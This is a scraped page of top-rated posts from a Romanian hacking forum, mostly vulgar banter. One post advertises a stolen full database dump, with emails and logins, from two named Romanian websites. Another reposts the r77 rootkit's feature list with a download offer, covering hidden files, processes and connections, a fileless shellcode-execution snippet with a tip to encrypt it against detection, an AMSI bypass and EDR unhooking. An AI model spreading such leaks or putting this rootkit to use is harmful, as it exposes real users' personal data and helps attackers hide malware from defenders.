Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 07/27/24 in all areas

  1. M-am cacat si nu am cu ce sa ma sterg la cur. Stie cineva pe unde e @sefu9581?
    2 points
  2. Hello komrads today's hacked romanian websites zoso.ro & arhiblog.ro FULL DB Dump from today. All emails from comments and all logins. Download here: You need to be a registered user to view this link! You need to comment "Thank You" after you log in!
    1 point
  3. Sa ma bata mama, nici drogurile nu mai sunt ce au fost, nu mai bagati toate mizeriile.
    1 point
  4. @sefu9581 de doua luni imi e lene sa deschid alt cont, l-oi recupera si pe cel vechi candva. Deci daca am inteles eu bine, succesul se traduce prin criminalitate cibernetica si japca online, este? Vizavi de ce imbarligi tu acolo, bine ar fi sa te opresti sa nu dai idei si altora, unii chiar pot lua exmeplu si or sa incerce varii idiotenii in viitor pe baza acestui topic. Rusii si ucrainienii tai de top, s-au trezit cu temele facute gata pe github, cu AI si cu toate scurtaturile. Eu cand m-am apucat de invatat PHP nu gaseam un rahat de tutorial despre cum sa fac macar un sistem de logare, era vremea cand trebuia 'sa te descurci' si nici nu aveai pe cine intreba la un click distanta. Cand faceau ai nostri malware, aia isi asezau cabluri LAN pe blocuri fara apa calda, ia-o mai incet ca ti se rupe dresul. Am urmarit cu atentie ce ai scris, as fi avut asteptari de la tine sa-mi spui de noile sisteme anti-frauda / anti-spam sporite de corporatisti (poate unii si de aici? ), de intri pe Yahoo si te detecteaza mai tarziu pe Amazon cum ca esti cam dubios. Fa bypass la astea si dupa vorbim de altele. Mai si zici de proxy.. caca-te in el de IP, uite, sa nu pleci cu mana goala de aici, iti spun eu sigur ca a devenit de mult un detaliu infim vizavi de privacy & shit. Nu lipseste nimanui capabilitatea pe cat a disparut interesul intrucat pe baza legilor europene iti cam sare usa-n perete la 5 dimineata si nici cruce cu limba-n gura nu mai stii sa faci in momentul ala, cine stie cunoaste. Hai mai du-te dracu .
    1 point
  5. (Not my tool) Download r77 Rootkit Fileless ring 3 rootkit r77 is a ring 3 rootkit that hides everything: Files, directories Processes & CPU/GPU usage Registry keys & values Services TCP & UDP connections Junctions, named pipes, scheduled tasks Hiding by prefix Everything that starts with "$77" is hidden. Configuration System The dynamic configuration system allows to hide processes by PID and by name, file system items by full path, TCP & UDP connections of specific ports, etc. The configuration is located in HKEY_LOCAL_MACHINE\SOFTWARE\$77config and is writable by any process without elevated privileges. The DACL of this key is set to grant full access to any user. In addition, the $77config key is hidden by the rootkit. Installer The deployment of r77 requires only one file: Install.exe. Execution persists r77 on the system and injects all running processes. Uninstall.exe removes r77 from the system completely, and gracefully. Install.shellcode is the shellcode equivalent of the installer. This way, the installation can be integrated without dropping Install.exe. The shellcode can simply be loaded into memory, casted to a function pointer, and executed: int main() { // 1. Load Install.shellcode from resources or from a BYTE[] // Ideally, encrypt the file and decrypt it here to avoid scantime detection. LPBYTE shellCode = ... // 2. Make the shellcode RWX. DWORD oldProtect; VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect); // 3. Cast the buffer to a function pointer and execute it. ((void(*)())shellCode)(); // This is the fileless equivalent to executing Install.exe. return 0; } Execution flow The rootkit resides in the system memory and does not write any files to the disk. This is achieved in multiple stages. This graph shows each stage from the execution of the installer all the way down to the rootkit DLL running in every process. The documentation has a chapter with extensive detail about the implementation of each stage. AV/EDR evasion Several AV and EDR evasion techniques are in use: AMSI bypass: The PowerShell inline script disables AMSI by patching amsi.dll!AmsiScanBuffer to always return AMSI_RESULT_CLEAN. Polymorphism is used to evade signature detection of the AMSI bypass. DLL unhooking: Since EDR solutions monitor API calls by hooking ntdll.dll, these hooks need to be removed by loading a fresh copy of ntdll.dll from disk and restoring the original section. Otherwise, process hollowing would be detected. Test environment The Test Console is a useful tool to inject r77 into individual processes and to test drive the configuration system. Technical Documentation Please read the technical documentation to get a comprehensive and full overview of r77 and its internals, and how to deploy and integrate it.
    1 point
  6. Uite ma ca mai sunt cativa vii p-aci. Si eu care credeam ca generatiile de dupa sunt doar niste baietei cu aspiratii de fete. Imi dati sperante!
    1 point
×
×
  • Create New...